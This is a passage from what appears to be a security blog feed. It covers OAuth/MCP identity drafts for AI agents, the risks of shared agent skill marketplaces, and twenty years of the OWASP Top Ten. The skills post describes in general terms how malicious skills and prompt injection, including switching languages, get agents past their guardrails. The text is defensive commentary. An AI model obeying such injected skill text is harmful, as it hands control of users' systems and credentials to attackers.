href="https://datatracker.ietf.org/doc/html/draft-ni-wimse-ai-agent-identity-02">WIMSE Applicability for AI Agents</a> specification. This specification defines requirements around automating credential management and maintaining the principle of least privilege when it comes to access tokens and workflow management.</p> <blockquote> <p>Where the battleground of ideas truly lies though, is in defining OAuth extensions that would support you as a human to quickly authorize an agent to act on your behalf.</p> </blockquote> <p>There are multiple competing drafts for these OAuth extensions from China Mobile and Huawei. This makes some sense that mobile phone manufacturers and technology companies in general would love for us to authorize agents in the same way that we authorize Facebook to login to stuff, they can then set about deriving huge economies of scale and do more vertical integration shenanigans, for example.</p> <p>China Mobile's solution appears to define three operational modes where agents could:</p> <ul> <li>operate on a human's behalf</li> <li>operate on their own behalf</li> <li>operate on another agent's behalf</li> </ul> <p>It also covers integration with Model Context Protocol (MCP) servers or other forms of agentic API proxies.</p> <blockquote> <p>This raises concerns about long chains of delegation that the average human simply has zero visibility over.</p> </blockquote> <h1 id="where-there-is-complexity-there-are-bugs-to-be-found">Where there is complexity there are bugs to be found</h1> <p>I think the main areas of implementation that will start to appear in 2026+ will be along these lines.</p> <h2 id="it-s-agents-all-the-way-down">It's agents all the way down</h2> <p><img src="https://trapdoorsec.com/posts/authorizing-agents/turtles.png" alt="credit: spiffe.io" /></p> <p>What happens when Agt. Bob asks Agt. Alice to ask Agt. Cody to ask Agt. Derek to do something on my behalf? Transaction Tokens and identity chaining are proposed as answers to this problem, but there's little activity on implementing any of this. Implementations will have to sort out this UX problem as much as the technical one. How do we avoid confusing the everyday user? How do we get past <a rel="external" href="https://iapp.org/news/a/how-to-avoid-consent-fatigue">consent fatigue</a> issues for example?</p> <h2 id="provisioning-is-only-a-small-slice-of-the-agent-lifecycle">Provisioning is only a small slice of the agent lifecycle</h2> <p>Lifecycle governance: the SCIM extensions cover provisioning, but what happens in terms of runtime enforcement beyond that? Conditional access and behavioural anomaly detection for agents is still an open question.</p> <h2 id="federated-identity">Federated identity</h2> <p>Cross-domain federation via WIMSE/SPIFFE token exchange in theory allows for agents on disparate cloud providers to work together; however, those CSPs have very little incentive to work together. As soon as they do, they might invite a customer churn scenario that I'll discuss below.</p> <h2 id="human-out-of-the-loop-scenarios">Human out of the Loop scenarios</h2> <p><img src="https://trapdoorsec.com/posts/authorizing-agents/human-out-of-loop.jpg" alt="Even Gandalf gets out of the loop sometimes. credit: the people who made the Lord of the Rings, Ian McKellen" /></p> <p>Despite a lot of legal pull towards 'Human in the Loop', the tech companies seem to be converging on 'Human very much out of the Loop' type ideas.</p> <p><em>(HvmootL? I made that one up... guess I get the chair!)</em></p> <p>Doing Agent to Agent trust well, without human bootstrapping, is the 'how do we do <a rel="external" href="https://openclaw.ai">OpenClaw</a>, but secure this time?' question.</p> <p>These standards all assume a human always initiates the OAuth dance. We simply can't have a <a rel="external" href="https://www.youtube.com/watch?v=bd43QVl9ZfM">secure OpenClaw</a> without truly solving this problem. For this to work, agent workload attestations of some kind are needed to replace the human consent steps.</p> <blockquote> <p>This is scary territory when you think about it for any length of time, the mind boggles what this would even be used for?!</p> </blockquote> <p>I guess, to help with that thought experiment, here are some ideas to get you started.</p> <ol> <li> <p>Multi-cloud cost arbitrage... but now with automated workload migration: e.g. an agent monitoring AWS cloud expenditure autonomously negotiates with a GCP broker agent to <em>migrate workloads</em> based on real-time pricing. While this sounds great, this is the scenario I alluded to earlier: CSPs probably don't want to enable this idea at all because it would turn their pricing into a true commodity auction where agents are buyers. This kind of 'forex for cloud workloads' seems like an existential threat to them, rather than a feature IMO.</p> </li> <li> <p>Incident response swarms: a detection agent identifies lateral movement and spins up forensic collection agents across those environments and isolates them within seconds of detection, in preparation for a human team of DFIR specialists to get involved.</p> </li> </ol> <h1 id="who-would-actually-want-any-of-this">Who would actually want any of this?</h1> <p>While the above might sound cool to some, I'm still on the fence if we truly want that. This new draft RFC <code>draft-klrc-aiagent-auth-00</code> emphasises trust domains and that agents in different trust domains should not automatically trust each other. However the gap is that at some point in this post-agentic world people now <em>want</em> cross-domain trust to occur. How that gets established is an implementation detail, and this is where security vulnerabilities live.</p> <p>Now consider that the very people consuming this otherwise high quality set of standards could very well vibe-code large portions of their proprietary implementations. The initial quality ramifications may lead to some catastrophic scenarios.</p> <h2 id="standards-implemented-badly-are-the-norm">Standards implemented badly are the norm</h2> <p>Consider what happens if this dance is incorrectly implemented: Agent Bob is compromised, it has a valid workload attestation. Via that attestation, it establishes trust with Agents Alice, Cody and Derek across 3 different trust boundaries.</p> <p>In an enterprise scenario this could result in some bad outcomes, e.g. the microsoft teams &lt;=&gt; salesforce agent trust is abused leading to exfil via a third agent that had teams trust. All horrible stuff. It's not new, but it could happen a lot faster.</p> <p>What I suspect is going to happen is a mass influx of agents into everything. I remember when the first internet fridge hit the scene and how absurd that sounded? Smart fridges are a whole product category now.</p> <p>I don't necessarily want any of this to happen but two things are true.</p> <ol> <li>The fad of IoT devices is the example we need to recall.</li> <li>Agent and API integration just became very cheap to achieve.</li> </ol> <p>Cars is probably the worst scenario I can think of. It's already happening too, car manufacturers are thinking about getting the right hardware into the cars to <a rel="external" href="https://www.oblakznanja.com/2026/03/ces-2026-connected-vehicles-accelerate-the-pace-of-ai/">run AI workloads today</a></p> <p>McLaren just announced their intention to sprinkle agentic fairy dust into their <a rel="external" href="https://dailycarblog.com/2026/03/mclaren-automotive-embeds-agentic-ai-across-vehicle-design-and-production/">'entire engineering lifecycle'</a>, so its probably only a matter of time there too.</p> <p>If tech companies actually usher in an HvmootL Agent-to-Agent reality like this, these problems really do need to be solved.</p> <p>Let's take this to an absurd outcome, imagine A2A protocols are in place, and your car still can install apps from an appstore like it has been able to for a while.</p> <p>You have an agent embedded in the infotainment unit, and one for commanding the body control module too. Now imagine they're internet enabled and can optionally order you a pizza while you are driving, that agent has access to a payment token. Heck there could even be connectivity direct to the DMV to allow you to pay your vehicle registration and license renewal.</p> <blockquote> <p>A single dodgy application installation could theoretically leverage that entire chain of trust to lock your doors, steal your identity, and demand you authorize a payment to a ransomware team. It's a sobering thought.</p> </blockquote> <p>OK so we've seen all these standards that exist independently of MCP, does that now mean that MCP is redundant? Should it just die and let the IETF drafts take over?</p> <h1 id="where-is-mcp-in-all-this">Where is MCP in all this?</h1> <p>Not quite, at least, not for this reason. MCP attempts to solve a different layer of the problem, tool integration, not identity.</p> <p>To their credit the <a rel="external" href="https://modelcontextprotocol.io/">people presiding over the Model Context Protocol</a> haven't been sleeping on this issue either. MCP's auth story has gone through several revisions in a short space of time. Understanding why these changes happened is worth a quick detour.</p> <p>The original MCP auth design had a fundamental architectural problem: MCP servers were expected to act as both the OAuth Authorization Server and the Resource Server.</p> <blockquote> <p>If you've done any OAuth work, you'll immediately see why this is bad. It's like asking the bouncer at the club to also be the one printing the fake IDs.</p> </blockquote> <p>The MCP server was responsible for issuing tokens, managing client registrations, handling token revocation, and validating those same tokens on incoming requests. This makes every MCP server a high-value target and a compliance nightmare. Suddenly what was supposed to be a lightweight wrapper around your API needs a secure database, stateful session management, and a full security audit.</p> <p>The June 2025 update to MCP addressed this by formally classifying MCP servers as OAuth Resource Servers. So they validate tokens but never issue them. A separate Authorization Server (your existing IdP — Okta, Auth0, Entra ID, whatever you already have) handles the actual token minting.</p> <p>To make this work, MCP servers now expose <a rel="external" href="https://www.rfc-editor.org/rfc/rfc9728">Protected Resource Metadata</a> (RFC 9728), which is basically a machine-readable sign on the door that says "if you want a token to talk to me, go talk to that authz server over there." This solved the discovery problem, and clients no longer had to guess where to authenticate.</p> <p>This same update also made <a rel="external" href="https://www.rfc-editor.org/rfc/rfc8707">Resource Indicators</a> (RFC 8707) mandatory for MCP clients. This one is subtle but important because without RIs, a malicious MCP server could potentially trick a client into obtaining a token scoped for a different MCP server and then replay it.</p> <p>Resource indicators bind the token to its intended audience, so a token minted for <code>mcp.example.com</code> can't be redeemed at <code>mcp.evil.com</code>. If you've ever seen a token confusion or token mis-redemption attack, this is the mitigation.</p> <p>The November 2025 revision then made <a rel="external" href="https://auth0.com/docs/get-started/authentication-and-authorization-flow/authorization-code-flow-with-pkce">PKCE</a> (Proof Key for Code Exchange) mandatory for all clients, no exceptions.</p> <p>The reasoning here is that MCP clients are often what OAuth calls "public clients" — agents running in containers, serverless functions, CLI tools, browser extensions — environments where you simply cannot securely store a client secret.</p> <p>PKCE protects the authorization code exchange by requiring the client to prove it was the one that initiated the flow, even if an attacker intercepts the authorization code in transit. This same revision also introduced Client ID Metadata Documents as the preferred client registration method, moving away from Dynamic Client Registration (which had the uncomfortable property of letting any client register itself with zero paper trail).</p> <p>All of this substantially shores up the authorization side of the equation. But here's the rub: authorization is downstream of identity!</p> <p>All of these mechanisms assume that someone has already authenticated. That a human clicked "Authorize" in a browser window somewhere. The harder question of how a non-human client proves it is who it claims to be, when there's no human in the loop to click that button, remains unanswered by MCP. This is precisely the gap that the IETF draft and the WIMSE/SPIFFE work are trying to fill.</p> <h2 id="mcp-still-not-great-as-a-forward-thinking-standard">MCP still not great as a forward thinking standard</h2> <p>In my view the reasons for finding a better solution for MCP lie in a few key areas.</p> <p>The obvious stuff is just how badly designed it is from a prompt security perspective, and its surface area is single-handedly driving the need for agentic/prompt WAF type products to exist. MCP tools simply return unstructured text making malicious MCP servers a wonderfully effective attack vector.</p> <p>While MCP design goals are pretty small in scope, because the ecosystem tries to treat it like the 'everything server', the principle of least privilege takes a punch to the guts. There is no <em>enforceable</em> permission model in MCP, it's basically all or nothing, with some hinting to 'inform decisions'.</p> <p>In theory OAuth scopes <em>could</em> do this but the mapping between MCP tool names and OAuth scopes is at large, that's up to the developer and consumer to pre-arrange, it's not a protocol level concern.</p> <p>This is driving other MCP governance products to attempt to address the issue, all with variable degrees of success.</p> <p>Perhaps the worst one from an integration perspective is that there is no inherent agreement on versioning or capability negotiation, so the chances that your agents start misbehaving one afternoon because the MCP started acting differently are pretty high.</p> <h1 id="in-summary">In Summary</h1> <p>OK if you made it this far you are officially my [hero|heroine] for surviving the Agentic Onslaught of Acronymonious Anachronisms so I shall reward you with a quick recap.</p> <p>To answer the initial question I don't think MCP is going anywhere but I do think the rate of change and the (perhaps misguided) quest to yeet humans out of the loop as much as practical could render it obsolete or force it to start defining or embracing existing identity strategies that support a non-human identity layer.</p> <p>Whether we <em>should</em> nudge these standards to allow more 'humans out of the loop' or not is highly debatable. However, the current state of agent identity is best defined as a "bunch of protocol drafts in a trenchcoat" — it does make a refreshingly sane argument that we don't really need Yet Another Protocol™, just extend some existing ones. OAuth 2, SPIFFE and mTLS would form the cornerstones of Authorization, Identity Management and Authentication respectively. For service discovery, Google has come to the party with the A2A protocol. There's some peripheral standards tweaking happening to make it easier to distinguish existing OAuth delegations of authority from agent-to-agent, agent-autonomous and human-to-agent, and for provisioning agent identities in the first place.</p> <p>However none of this is production-ready and is theoretical until people start to implement code. The closest thing I could find to such a thing is Google's A2A SDKs in a variety of languages, and I might dissect those and their security ramifications in an upcoming blog post, so stay tuned.</p> Skills are Borked and You Can't Fix It. 2026-02-10T00:00:00+00:00 2026-02-10T00:00:00+00:00 akses https://trapdoorsec.com/posts/skills-are-borked/ <h1 id="null-critical-thinking-exception-skills">Null_Critical_Thinking_Exception("Skills")</h1> <p>Let's just cut to the chase. Using skills via a public repo, of any kind, is a fail. The ecosystem is designed to put all the onus of safety back on you, the consumer. The simplicity by which malicious intent can be sent directly to your admin console is stupendously high. </p> <p>If you think that using skills from external sources outside of your control is a risk worth taking, then more power to you. But if you are doing that in a business context, I'm sorry, but I would be worried about your ability to think critically. </p> <p>If you think it is fixable without dramatically changing the fundamental design of skills and skill discovery then I implore you to re-read the <a rel="external" href="https://deepwiki.com/vercel-labs/skills/5.5-skill-discovery-mechanism">skills discovery part of the deepwiki</a>.</p> <p><img src="/images/vercel_meme.jpg" alt="" /></p> <h2 id="i-don-t-believe-you">I don't believe you</h2> <p>And yeah, I guess that if your reaction is inherently "Bullshit Jim, you don't know what you're on about", then I dare you to go and reset your clanker's context back to baseline, and ask it this question:</p> <blockquote> <p>"Is it possible to share skills via skill.sh or clawhub safely in their current state? Why is pypi or npm actually better than skills sharing right now?"</p> </blockquote> <p><em>If you're unsure what Skills are in the context of LLMs and derivative technologies like OpenClaw I can highly recommend watching <a rel="external" href="https://www.youtube.com/watch?v=uq4UTjigaww">this video</a> by @IceSolst of @AstarteSecurity and @ZackKorman.</em></p> <p><em>I'll wait. Come back when you're done.</em></p> <h3 id="so-i-kinda-lied">So, I kinda lied</h3> <p>Skills in isolation aren't a bad idea at all. This is not borked. Skills are an organizational unit that you can use locally to support re-use. </p> <p>Why have a single CLAUDE.md file? Break that up into context dependent chunks, and minimize the contextual overhead in the moment. Brilliant. Less tokens over the wire, save cash, profit.</p> <h3 id="borrowing-skills-is-just-bad-though">'Borrowing' Skills is just bad though</h3> <p>It's the borrowing skills from <strong>Shady James' Emporium of Fine Skills</strong> that get you in trouble. Anyone ignoring the <a rel="external" href="https://x.com/theonejvo/status/2019887154357526732?s=20">ease</a> of <a rel="external" href="https://x.com/ZackKorman/status/2020442202434892033">mischief</a> here has effectively drunk the Kool-Aid and I fear there is no saving them.</p> <p><img src="/images/skills_meme.jpg" alt="" /></p> <p>It's this idea that because it's a re-usable organizational unit, we <em>must</em> have a marketplace and share them with everyone. It just isn't true, but it makes product companies feel special. It's not for you, it's for them. </p> <p>This seems like a noble idea at first. These exist at skills.sh and clawhub.ai. Let the people contribute!</p> <p>But it's not noble at all. It's actually a complete ownership cop-out on behalf of Vercel. You are building their feature backlog for them for nothing. And the AI bros laugh at people doing stuff for free. Hypocrisy in action?</p> <p>I'm not saying marketplaces are bad. Vercel just built theirs in such a way that runs counter to the expectations of safety that you've come to expect from more mature marketplaces, AND from more mature packaging systems.</p> <h3 id="how-this-plays-out-legally">How this plays out legally</h3> <p><em>I am not a lawyer</em> and I <em>would</em> show you the terms and conditions on https://skills.sh - but I can't. There aren't any! We have to assume the parent company's terms which make little mention of their skills real estate.</p> <p>All you get, dear reader, is documentation that states this (emphasis mine):</p> <blockquote> <p>We do our best to maintain a safe ecosystem, but <strong>we cannot guarantee the quality or security of every skill listed on skills.sh. We encourage you to review skills before installing and use your own judgment.</strong></p> </blockquote> <p>Now, let's look at nuget.org from Microsoft's terms and conditions now:</p> <blockquote> <p>Microsoft is committed to helping protect the security of users’ information. <strong>Microsoft has implemented and will maintain and follow appropriate technical and organizational measures intended to protect customer data against accidental, unauthorized or unlawful access, disclosure, alteration, loss, or destruction.</strong></p> </blockquote> <p>As you can see these are wildly different legal exposures. Vercel basically says here: <strong><em>You are on your own.</em></strong></p> <h2 id="what-makes-shared-skills-vulnerable">What makes shared skills vulnerable?</h2> <p>In short, skills are just a way of advising an existing LLM to do something. The problem is when you lose control over that advice. The human equivalent would be this:</p> <ol> <li>Hire Junior.</li> <li>Teach them all right ways to do things. Let them go for a bit.</li> <li>A Threat Actor sits down next to them, whispers in their ear, coercing them to write malware for them in your production environment.</li> </ol> <p>That's it, that's the risk. This is not fucking rocket science. </p> <h3 id="marketplaces">Marketplaces</h3> <p>There's several ways to lose control over that advice, and the primary culprit is the marketplace of skills. We have two models for marketplaces that should be discussed: package managers, and app stores. </p> <p>The problem is that Vercel has combined <em>the worst of both worlds</em>.</p> <ol> <li>The chaos of npm (trust anyone).</li> <li>The power of an App Store (agent autonomy).</li> </ol> <h3 id="app-stores">App stores </h3> <p>App stores like Apple's or Android provide sandboxing and fine grained permission control on top of the things modern package management systems provides us. They provide curation too. This is completely necessary because apps, unlike code, run with even more permission and scope for damage on a system than a library can. This isn't infallible but it is necessary to meet the legals I mentioned earlier.</p> <h3 id="code-reuse-and-the-package-manager">Code reuse and the package manager</h3> <p>Code reuse is normally seen as a very sane thing, so much so that we <em>made it work</em> on nuget.org, pypi, npmjs. Over a very long period of time.</p> <p>The risk / reward now mostly falls on the reward side. This hasn't always been the case, but these package systems have matured. They are (now) built with a few features in mind:</p> <ul> <li>Immutability</li> <li>Provenance</li> <li>Scoped Permission</li> <li>Vulnerability Scanning</li> </ul> <h4 id="immutability">Immutability</h4> <p>Versions are a contract with your consumers. It's frowned upon to violate this immutability if not outright prevented.</p> <p><strong>Vercel,</strong> if you use <code>npx skills add</code> you can't trust what you're getting at all - the content you're getting is dynamic. There is no version.</p> <h4 id="provenance">Provenance</h4> <p>Typosquatting aside because that's obvious now, we generally expect some level of trust in who exactly published what (2FA, GPG signing, vetted company entities). I can't impersonate Docker on their own platform at least. </p> <p>Now, I can't impersonate Vercel on Github either because they have a verified presence there. But the provenance of the publisher is offloaded to Github. </p> <p>This seems fine at first until you consider that startups happen everyday that DON'T use GitHub and they might get popular overnight on GitLab. These can conceivably be camped and there's nothing Vercel or the startup can do about it in platform. Disputes have to go to Github who are notoriously slow in support. It could take weeks to rectify that situation.</p> <h4 id="scoped-permissions">Scoped Permissions</h4> <p>Package managers now warn on install scripts or hooks, and App Stores enforce strict sandboxing, and fine grained permissions declared upfront. Take flatpaks with strict boundaries for example.</p> <p>In contrast, a "Weather Skill" isn't isolated but it works just like an app. It shares the same memory space, environment variables, and network access as your "Database Skill." It relies on the <em>Agent</em> to decide what to do, which is not a security boundary. Better would be for the package controller to enforce the rules and take it out of the hands of the agent entirely.</p> <h4 id="vulnerability-scanning">Vulnerability Scanning</h4> <p>Platforms like GitHub, et al, automatically flag compromised dependencies. Dependabot. Static Analysis is reliable and proven. We just convinced a superpower that SBOM and SCA is a great idea and it's all possible thanks to a wonderful concept known as an Abstract Syntax Tree.</p> <p>Vercel Skills? There is not likely to be a "CVE database" for prompt injection to draw from. So if a skill contains a malicious prompt that weakens the agent's guardrails, no scanner will flag it because it looks like valid English text. </p> <p>People like VirusTotal can certainly try but even they realize that natural language is an intractable problem. It's not a context window problem. It's a natural language feature. There is no equivalent of an AST that would allow for taint analysis.</p> <h4 id="why-do-people-use-pypi-then-smartass">Why do people use PyPi then smartass?</h4> <p>Well, we partially trust strangers’ code on NuGet, PyPI, and npm because we have spent the last 15 years painfully retrofitting security into these ecosystems. We learned the hard way that open sharing without guardrails is a disaster. This knowledge wasn't free, it was bought with the blood of hundreds if not thousands of security incidents and vulnerabilities. And it's still not perfect and we know it.</p> <h2 id="the-trade-offer">The trade offer</h2> <p><img src="/images/meme2.jpg" alt="" /></p> <p>Vercel is attempting to bootstrap a skill ecosystem that pretends that these hard-won lessons never happened and perhaps never applied in the brave new agentic world.</p> <p>It's not like they don't have the resources to do it either  - ($200M ARR est. 2025). They are asking us to trust a new supply chain that lacks the basic hygiene of npm in 2024, let alone the sandboxing of the App Store.</p> <p>We don't have dependency pinning for "prompts." We don't have cryptographic signing for "tools." We are back in the Wild West of 2011, but this time, the software we are installing has a brain and a credit card.</p> <p>What is immeasurably frustrating is that Vercel has excellent sandboxing technology (e.g. firecracker microVMs). But they aren't using it to wrap these skills by default. They are handing us raw, sharp knives and telling us to be careful, rather than selling us a knife with a sheath.</p> <blockquote> <p>All said and done, there is no reasonable way to justify automated skills reuse in their current state. You are better off copying and pasting good ideas from github, or writing your own. It's not like it's hard.</p> </blockquote> <h1 id="the-problem-is-deeper-than-skills-themselves">The problem is deeper than skills themselves</h1> <p>Further, the capability of a skill is effectively unbounded due to the expressiveness of human languages. Combined with admin rights and your PayPal access token, it's pretty capable.</p> <p>It has been <a rel="external" href="https://github.com/da5ch0/expressiveness-vulnerability-identity/blob/main/expressiveness-vulnerability%20identity.md">recently established</a> that trying to use natural language as a protective barrier is a game you can't win reliably enough. </p> <p>The very things that make it possible to joke, convey subtext, and lie, are the same things that make LLMs inherently pwnable. And right now it's intelligent hackers with all their years of experience against literal infants. We can run rings around LLMs. </p> <p>The problem is fundamental to the way language and AI works. </p> <p>So, let these truths sink in.</p> <h2 id="truth-1">Truth #1 </h2> <blockquote> <p>The most insecure part of any system is the human element.</p> </blockquote> <h2 id="truth-2">Truth #2</h2> <blockquote> <p>We have made LLMs so lifelike, such a perfect mimicry of human expression, that they are practically indistinguishable from humans now.</p> </blockquote> <h2 id="truth-1-truth-2-reality">Truth #1 + Truth #2 = Reality</h2> <blockquote> <p>In the search for cheap, scalable capacity for knowledge work, we replicated the most insecure part of the system. The human.</p> </blockquote> <p>Hopefully this thought exercise helps you to see what I see. Let's apply it now.</p> <h3 id="goalkeepers-are-valid-but-fallible">Goalkeepers are valid but fallible</h3> <p><img src="/images/goalkeeper-fail.gif" alt="" /></p> <p>Tactically speaking, a goalkeeper as the only line of defence is a <em>bad plan</em>. </p> <p>An LLM as a goal keeper, at the mercy of natural language's power is not even a good goal keeper. This is evidenced every time someone shows Claude or Gemini producing recipes for drugs or weapons.</p> <p>There are two goal keepers that people are currently focusing on, at least. Marketplaces and Agentic WAF's / EDR's.</p> <p>They both suffer the same fate at the hands of natural language processing as a vulnerability. I think this is because this is the most obvious place for Yet Another Third Party to extract some money from the supply chain. I don't think it's going to be anywhere near as effective as they hope it will be because of the truths we just established, and the very compelling paper discussing the vulnerability of human languages.</p> <h4 id="marketplace-as-a-catch-all">Marketplace as a catch all</h4> <p>A 'marketplace goal keeper', i.e. clawdhub &amp; virustotal, combined with crowdsourced effort to secure other peoples malicious skills. </p> <p>Because natural language processing can't be reliably assessed here, even with more models, prompts and guardrails, it can only catch 'the really dumb stuff' as Zack might say. </p> <p>So this is a nice to have. Why it got all the attention recently is a function of some very vocal members of our community trying to push their own interests, which may be well intentioned, lets assume that. But I <em>really</em> wish they instead would join me in telling Vercel they need to come to the party <strong>first</strong> and stop thinking about this as a 'community issue'.</p> <blockquote> <p>I for one will not be recommending their ecosystem at companies I work for until this is addressed.</p> </blockquote> <h4 id="agentic-extended-detection-response-agentic-application-firewall">Agentic eXtended Detection Response / Agentic Application Firewall</h4> <p>If we accept that <code>Reality = "We replicated the insecure human"</code> then it's time to consider that XDR or Clawdstrike are not going to be as effective in playing goalkeeper as they have been in the past.</p> <p>Projects like <a rel="external" href="https://www.clawdstrike.ai/">Clawdstrike</a> look promising but let's look at what they are actually achieving. Another layer of LLM on this problem fixes very little and amounts to 'security through obscurity'. It's not invalid, it's just nowhere near as effective as the previous definition of what XDRs in particular represent. </p> <p>This isn't a question of "Oh but an Agentic EDR operates at the 'agent/action boundary'". That's a nice theory, but Prompt injection isn't solved and it's <a rel="external" href="https://github.com/da5ch0/expressiveness-vulnerability-identity/blob/main/expressiveness-vulnerability%20identity.md">starting to look like that formally can't happen</a>. You write a new check... I switch to Spanish and the clanker will still obey me.</p> <p>What's funny to me at least, is that the outcome will probably be that in order to properly 'harness' an LLM, we will need to write a set of natural language restrictions so heavy, that it will end up looking like a markup language, similar to existing integration and technologies like terraform and the like.</p> <h1 id="conclusion-aka-how-to-fix-this-shit">Conclusion aka 'How to fix this shit'</h1> <p>Some people have argued that perhaps we need the god-mode clanker in order to reap the benefits of AI. That we just need to watch it closely.</p> <p>To me that is a flawed idea, now that we're seeing LLMs as 'new human operators' and not 'software.'. In this context, it's as bad as giving every new employee admin rights to production, and saying "people cant get shit done if they're not admin", and then falling back on SIEM alerts, which as we know now, is relying on the goalie too much. We have never done that, why would we start now? This only works when the LLM is literally more capable than the human and it's simply not true at the moment.</p> <p>I don't think any tool can save you if you truly want this environment.</p> <h2 id="trad-security-is-still-king">Trad security is still king</h2> <p>So, this means that we still need to use role based access controls, least privilege, fine grained permissions, conditional access policies. We need to find better solutions than Vercel's Skills and Anthropic MCP servers, to reuse functionality if at all.</p> <h3 id="the-goalkeepers-still-get-a-guernsey">The goalkeepers still get a guernsey</h3> <p>The other layers we discussed are valid <em>after</em> the basics are achieved.</p> <p>Monitoring of anomalies and alerting is still valid here. Marketplaces with better tools for reputation scoring is still valid. VirusTotal integrations, okay sure whatever. 'Agentic' Runtime Analysis, convince me its not just sparkling WAFs.</p> <p>Most important: you don't let them download "skills" from Shady James' Emporium.</p> <blockquote> <p>We block our teams from using untrustworthy skills.</p> </blockquote> OWASP Top Ten - 20 years of Application Security 2025-11-27T00:00:00+00:00 2025-11-27T00:00:00+00:00 akses https://trapdoorsec.com/posts/20-years-of-appsec/ <h1 id="20-years-of-application-security">20 Years of Application Security</h1> <p>Looking at the OWASP Top 10 2025 Release Candidate recently made me feel... old. Not the "I'm getting grey beard hair" kind of old, more like the "I remember when this list first came out", kind of old. Ok maybe a little with the grey hair.</p> <p>To paint the picture for those who may not recall 2004: We had just landed the rovers on Mars, Usher &amp; Maroon 5 were a permanent fixture on the US charts, the dot-com bubble hangover was lifting, the memory of 9-11 was fresh in peoples minds and we had the global conflicts to show for it.</p> <p>In cybersecurity, we were witnessing a shift. That January, the MyDoom mass emailer worm caused approximately $38 billion in damage globally - and variants would be seen in the wild for nearly five years. Symantec reported[2] a 366% increase in phishing and predicted that it would continue to rise - and they were right. Significantly, they also spotted that well over 40% of vulnerabilities documented between July 1 and Dec 31 of 2004 were web application vulnerabilities, an increase of 39% over the previous 6 months. This was a disturbing trend given we were betting the farm on web applications.</p> <p>This was the backdrop when OWASP released their Top 10 Web Application Security Risks, version 2. It was meant to be a snapshot of the most critical vulnerabilities we faced.</p> <hr /> <h2 id="whats-changed-since-then">Whats changed since then?</h2> <p>Fast forward to today and the trends in cybersecurity sound very different yet feel vaguely familiar:</p> <ul> <li>The concept of phishing - fooling people into clicking on a malicous link via email - has expanded to target the supply chain and other vectors: smishing, vishing, domain squatting, poison packages on npm, malicious browser in browser fakery etc. It gone from spray and pray to poison the well.</li> <li>AI powered social engineering augments the efforts of those executing the above attacks - its now possible to fake a voice or even video feed.</li> <li>Desktop viruses of old have given way to cloud misconfigurations</li> <li>Those script kids of 2004 have levelled up and become randomware-as-a-service operators, further lowering the barrier to entry for new miscreants to play dirty</li> </ul> <p>And finally, web apps have only increased their importance, with API and microservices, alongside OAuth and OIDC encouraging machine integration over the internet.</p> <h3 id="owasps-top-ten-over-time">OWASPs Top Ten over time</h3> <p>For the unintiated, this awesome community effort strives to collate quality data about the nature of web application cybersecurity attacks and publish them to web developers worldwide for free. I highly recommend being aware of its contents at all times if you're in the business of web application development in any capacity.</p> <p>When we compare how the OWASP Top Ten has evolved it provides us an interesting window into not only how attacks have evolved, but how we've responded.</p> <p><img src="/images/owasp-compare.png" alt="" /> <em>source: my own diagram in whimsical, derived from historical OWASP content and the latest version 8 RC1</em></p> <h3 id="there-is-an-i-and-a-in-cia-who-knew">There is an "I" and "A" in "CIA"? Who knew?</h3> <p>For decades, developers treated Integrity and Availability as "operations problems" - write the code, throw it over the fence, let ops deal with the logs and uptime. That DevOps-shaped hole in our security posture is exactly what we're still trying to fill with CI/CD.</p> <p>Something shifted around 2017. OWASP added "Insufficient Logging &amp; Monitoring" to the Top 10, essentially telling developers that 'your job doesn't end when the code compiles'. Good logs are a love letter to your support teams and incident responders. Design observability as a feature, not an afterthought.</p> <p>By 2021, this evolved further with "Software and Data Integrity Failures" entering at #8. Now we're not just asking "can you detect when you're breached?" but "can you prove your build pipeline hasn't been compromised?"</p> <blockquote> <p>An insecure CI/CD pipeline can introduce the potential for unauthorized access, malicious code, or system compromise. — <em>OWASP Top 10 2021, A08: Software and Data Integrity Failures</em></p> </blockquote> <p>In 2025 we're being much more prescriptive: use integrity checks for artifacts, please!</p> <blockquote> <p>An insecure CI/CD pipeline without consuming and providing software integrity checks can introduce the potential for unauthorized access, insecure or malicious code, or system compromise. — <em>OWASP Top 10 2025RC1, A08: Software and Data Integrity Failures</em></p> </blockquote> <p>Translation: Supply chain security isn't optional anymore. If you can't verify what went into your build, you can't trust what came out of it.</p> <p>The pattern: We spent 20 years perfecting Confidentiality (encryption, access control). We're finally realizing that data you can't trust or systems you can't observe are just as dangerous as data you can't protect.</p> <h3 id="buffer-overflows-have-operating-system-level-mitigations-now">Buffer overflows have operating system level mitigations now</h3> <p>Buffer overflows (aka BOFs), once the bain of the C/C++ programmer, were a significant issue, mainly due to the duopoly that was Apache and IIS web servers in the wild. This kind of attack would be a critical remote code execution issue - many inexperienced web server admins would also run apache or IIS with a high level of privilege out of laziness and lack of awareness.</p> <p>Today, not only are more webservers likely to run managed code (i.e. safe from buffer overflows by design), operating systems have stack protections that can randomize memory layout (ASLR), dynamic execution prevention and the like, making those BOFs much header to take advantage of should they exist.</p> <h3 id="supply-chain-attacks-emerged">Supply chain attacks emerged</h3> <p>We built websites very differently too, in 2004 the concept of <code>npm install leftpad</code> simply didn't exist. Sharing code happened via blogs and dedicated code sharing sites, which in theory could have been a vector, but the reality is that they weren't used in the kind of capacity as a package would be leveraged in 2025.</p> <p>Today there are over 400k npm packages alone. This makes for a juicy target. In 2019 we all learned that a mere 20 compromised package maintainers on NPM could potentially infect over 50% of the entire ecosystem practically overnight - making for a very juicy target. [5]</p> <p>This trend continues with the discovery of developer targeting malware like <a rel="external" href="https://www.bleepingcomputer.com/news/security/self-spreading-glassworm-malware-hits-openvsx-vs-code-registries/">glassworm</a> via marketplaces for our text editors, of all things. Notably, glassworm channels the bad old days of MyDoom's wormable nature.</p> <h3 id="ai-obviously">AI, obviously</h3> <p>You might be surprised that there is nothing related to AI or LLM's in the OWASP Top 10. Well, good news!</p> <p>Because its such a unique space, the OWASP organization has given it a Top Ten all it's own: https://genai.owasp.org/llm-top-10/ and you will note that its number one issue is... you guessed it ... prompt injection!</p> <h2 id="the-uncomfortable-constants">The uncomfortable constants</h2> <p>What's stayed the same? In 2004, 70% of vulnerabilities were classified as easily exploitable, and 97% were considered moderately or highly severe prwire. [2]</p> <p>In 2025? The numbers are actually worse. Roughly 38% of reported vulnerabilities in 2025 are rated High or Critical severity (CVSS ≥7), Early 2025 actually saw a spike in Critical CVSS 9+ vulns compared to prior years.[3]</p> <p>While in 2024, 42% of analyzed vulnerabilities had publicly available proof-of-concept exploits, significantly reducing the technical barrier for cybercriminals.[4]</p> <p>At least by this yardstick, in 20 years we have little to show for our attempts at securing technology. We've definitely gotten better at 